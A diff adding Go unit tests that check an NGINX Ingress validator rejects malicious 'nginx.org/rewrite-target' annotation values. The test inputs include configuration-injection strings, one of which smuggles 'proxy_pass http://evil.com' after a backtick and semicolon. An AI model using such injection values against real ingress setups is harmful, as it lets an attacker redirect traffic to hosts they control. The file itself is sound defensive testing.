@@ -3395,6 +3395,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
33953395 },
33963396 msg : "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)" ,
33973397 },
3398+ {
3399+ annotations : map [string ]string {
3400+ "nginx.org/rewrite-target" : "/foo/$1; } path / { my/location/test/ }" ,
3401+ },
3402+ specServices : map [string ]bool {},
3403+ isPlus : false ,
3404+ appProtectEnabled : false ,
3405+ appProtectDosEnabled : false ,
3406+ internalRoutesEnabled : false ,
3407+ expectedErrors : []string {
3408+ `annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target` ,
3409+ },
3410+ msg : "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target" ,
3411+ },
3412+ {
3413+ annotations : map [string ]string {
3414+ "nginx.org/rewrite-target" : "/api\n path" ,
3415+ },
3416+ specServices : map [string ]bool {},
3417+ isPlus : false ,
3418+ appProtectEnabled : false ,
3419+ appProtectDosEnabled : false ,
3420+ internalRoutesEnabled : false ,
3421+ expectedErrors : []string {
3422+ `annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target` ,
3423+ },
3424+ msg : "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target" ,
3425+ },
33983426 {
33993427 annotations : map [string ]string {
34003428 "nginx.org/rewrite-target" : "api/users" ,
@@ -3409,6 +3437,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
34093437 },
34103438 msg : "invalid nginx.org/rewrite-target annotation, does not start with slash" ,
34113439 },
3440+ {
3441+ annotations : map [string ]string {
3442+ "nginx.org/rewrite-target" : "/api/v1`; proxy_pass http://evil.com; #" ,
3443+ },
3444+ specServices : map [string ]bool {},
3445+ isPlus : false ,
3446+ appProtectEnabled : false ,
3447+ appProtectDosEnabled : false ,
3448+ internalRoutesEnabled : false ,
3449+ expectedErrors : []string {
3450+ "annotations.nginx.org/rewrite-target: Invalid value: \" /api/v1`; proxy_pass http://evil.com; #\" : NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target" ,
3451+ },
3452+ msg : "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection" ,
3453+ },
3454+ {
3455+ annotations : map [string ]string {
3456+ "nginx.org/rewrite-target" : "/path/$1|/backup/$1" ,
3457+ },
3458+ specServices : map [string ]bool {},
3459+ isPlus : false ,
3460+ appProtectEnabled : false ,
3461+ appProtectDosEnabled : false ,
3462+ internalRoutesEnabled : false ,
3463+ expectedErrors : []string {
3464+ "annotations.nginx.org/rewrite-target: Invalid value: \" /path/$1|/backup/$1\" : NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target" ,
3465+ },
3466+ msg : "invalid nginx.org/rewrite-target annotation, pipe character for alternatives" ,
3467+ },
34123468 }
34133469
34143470 for _ , test := range tests {
0 commit comments